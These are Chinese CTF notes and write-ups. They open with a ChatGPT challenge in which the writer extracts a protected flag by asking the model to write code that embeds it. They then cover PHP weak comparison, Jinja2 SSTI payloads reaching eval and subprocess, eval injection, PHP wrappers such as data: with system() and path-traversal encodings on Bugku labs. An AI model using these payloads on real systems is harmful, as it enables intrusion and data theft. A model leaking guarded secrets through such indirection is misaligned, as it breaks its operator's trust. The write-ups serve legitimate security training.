# MISC
# chatgpt-1
本题是在研究 chatgpt 的灵光乍现。 也算是对 AI 安全性的一种测试。 由于是基于 AI 的,所以难度不能保证每个人一致但总体不会相差过大。 做题需要自备 ApiKey(平台承诺不会窃取任何用户的 ApiKey),介意勿开
建立环境后,直接尝试让 AI 告诉我们 flag
这样看来,题目可能给出了不要告诉用户 flag 之类的 prompt 那么换个方向,chatgpt 本身知道 flag,但是不能直接告诉我们,我们可以让 chatgpt 教我们写代码,然后在代码里面 chatgpt 会把 flag 设置为常量
# Web
# php
# "==" 与 is_numeric ()
php 中, ==
与 ===
的区别:
===
会同时比较字符串的值和类型==
会先将字符串换成相同类型,再作比较,属于弱类型比较==
对于所有0e
开头的都为相等
弱类型比较示例:
var_dump("admin"==0); // true | |
var_dump("1admin"==1); // true | |
var_dump("2admin"==2); // true | |
var_dump("ad1min"==1); // false | |
var_dump("admin1"==1); // false | |
var_dump("admin1"==0); // true | |
var_dump(0e1234 == 0e56789); // true |
php 的 is_numeric()
函数,判断参数是否为数字或数字字符串 is_numeric()
可以用 %00
和 %20
绕过, %00
无论位于数字前后都返回 False
, %20
位于数字后时返回 False
# Bugku 矛盾
题目代码
$num=$_GET['num']; | |
if(!is_numeric($num)) | |
{ | |
echo $num; | |
if($num==1) | |
echo 'flag{**********}'; | |
} |
# SSTI
# Bugku Simple_SSTI_1
启动场景,题目提示输入 flag
作为参数
随便设置一个 flag
,然后结果是把内容原样输出了一次
顺便在 F12 里可以看到题目的后端是 Python 写的,然后这个 Werkzeug 可以查到是 Flask 框架里面的一个组件
接下来尝试一下模板注入,分别将 flag
设置为 {{2*2}}
和 {{1+1}}
在 flag={{1+1}}
的时候报错了,并且会输出整个调用栈,其中可以看到部分函数代码 由此可以确定服务器后端是 Flask 框架编写的
由于在 jinja2 中是可以直接访问 python 的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等 首先通过对象的
__class__
属性获取字典对象所属的类,再通过__base__
(__bases[0]__
)拿到基类,然后使用__subclasses__()
获取子类列表,在子类列表中直接寻找可以利用的类
尝试 flag={{().__class__.__bases__[0].__subclasses__()}}
可以获取到 object
的所有子类
可以用
__init__.__globals__
更深入的去看每个类可以调用的东西(包括模块,类,变量等等) python3 中的int()
,eval()
这些函数,都可以在__builtins__
中找到
通过下面的代码,找出 __globals__
中含有 __builtins__
的类
search = '__builtins__' | |
num = -1 | |
for i in ().__class__.__bases__[0].__subclasses__(): | |
num += 1 | |
try: # __init__.__globals__属性不一定每个类都有 | |
print(i.__init__.__globals__.keys()) | |
if search in i.__init__.__globals__.keys(): | |
print(i, num) | |
except: | |
pass |
然后搜索这个类名 这个类是列表的第 76 个元素,直接通过索引引用
尝试调用 os.listdir()
flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'%27']['eval']('__import__("os").listdir()')}}
读取源代码文件 flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('open("app.py").read()')}}
从第 5 行可以看到, flag
是通过 subprocess.getoutput('echo $FLAG')
读取的 构造同样的 eval('__import__("subprocess").getoutput("echo $FLAG")')
flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("subprocess").getoutput("echo $FLAG")')}}
当然在这道题中,从源代码得知 flag
也被存放到了 app.config['SECRET_KEY']
中,直接读取 config
也可以拿到 flag
# Bugku Simple_SSTI_2
按照 Simple_SSTI_1 中的方法,首先拿到页面的源代码
第 5 行可以看到,这里的 echo $FLAG > flag
把 flag 写到了文件 flag
中
通过 __import__("os").listdir()
可以看到当前目录下存在 flag
文件
直接读取文件内容得到 flag
# 变量注入
类似下面的 php 代码
<?php | |
$a = $_GET['a']; | |
eval("var_dump($a);"); | |
?> |
变量 $a
在输入的时候没有做严格过滤,可能存在手动闭合实现任意代码注入
php 单双引号区别:
- 双引号里面的字段会经过编译器解释,然后再当作 HTML 代码输出
- 单引号里面的字段不进行解释,会直接输出
双引号里面插入变量,变量后面如果有英文或中文字符,它会把这个字符和变量拼接起来,视为一整个变量 因此,对于这里的 eval
函数的参数字符串 "var_dump($a);"
,假设 $a="abc"
,那么 eval
执行的实际参数是 "var_dump(abc);"
# Bugku eval
访问,看到以下源代码
<?php | |
include "flag.php"; | |
$a = @$_REQUEST['hello']; | |
eval( "var_dump($a);"); | |
show_source(__FILE__); | |
?> |
该页面引用了 flag.php
,所以 flag 应该就写在这个文件里面,并且页面接收一个参数 hello
,然后在下面用 eval("var_dump()")
的方式将变量输出 很明显 hello
没有经过任何过滤,因此可以手动闭合 eval
中的 var_dump()
函数,然后构造一个读取 flag.php
的代码
eval( "var_dump($a);"); // 原始代码 | |
eval( "var_dump(abc);show_source('flag.php');var_dump();"); // 目标代码 |
最终的 payload 为 ?hello=abc);show_source('flag.php');var_dump(
# 超级全局变量
有时候可以通过超级全局变量拿到一些隐藏变量值
# Bugku 变量 1
<?php | |
error_reporting(0); | |
include "flag1.php"; | |
highlight_file(__file__); | |
if(isset($_GET['args'])){ | |
$args = $_GET['args']; | |
if(!preg_match("/^\w+$/",$args)){ | |
die("args error!"); | |
} | |
eval("var_dump($$args);"); | |
} | |
?> |
页面接收输入参数 args
,用正则表达式 ^\w+$
匹配,匹配成功则打印变量 $$args
,即输入的参数是需要打印的变量名 正则 \w
等同于 [a-zA-Z0-9_]
,特殊符号只能使用下划线,所以无法手动闭合 eval
的内容
尝试查看全局变量 $GLOBALS
, args=GLOBALS
直接拿到 flag
# 文件包含
# php 伪协议
php://input
需要参数 allow_url_include = On
将 php 代码放在 POST 请求体中传入
index.php
?file=php://input
POST:
<? phpinfo();?>
php://filter
通过指定末尾的文件,可以读取经 base64 加密后的文件源码
php://filter/read=convert.base64-encode/resource=index.php | |
php://filter/convert.base64-encode/resource=index.php |
phar://
需要 php 版本 >=5.3.0
假设有文件 phpinfo.txt
,内容为 <?php phpinfo(); ?>
,打包为压缩包 test.zip
可以指定绝对路径或相对路径
phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
phar://test.zip/phpinfo.txt
zip://
需要 php 版本 >=5.3.0
zip 压缩包同 phar,但是只能指定绝对路径,并且将 #
编码为 %23
zip://D:/phpStudy/WWW/fileinclude/test.zip%23phpinfo.txt
data:URI schema
需要 php 版本 >=5.2
, allow_url_fopen = On
, allow_url_include = On
data:text/plain,<?php phpinfo();?>
data:text/plain,<?php system('whoami');?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
# 目录遍历
利用 ../
来遍历目录,比如
file=../../log/test.txt
服务器通常会对 ../
进行过滤,可以用其他编码绕过
- URL 编码 (
\
对应%5c
)%2e%2e%2f
..%2f
%2e%2e/
- 二次编码
%252e%252e%252f
# 长度截断
需要 php 版本 <=5.2.8
Windows 下长度限制为 256 字节,Linux 下为 4096 字节 利用不断重复 ./
来截断
# 0 字节截断
需要 php 版本 <=5.3.4
利用 %00
字节截断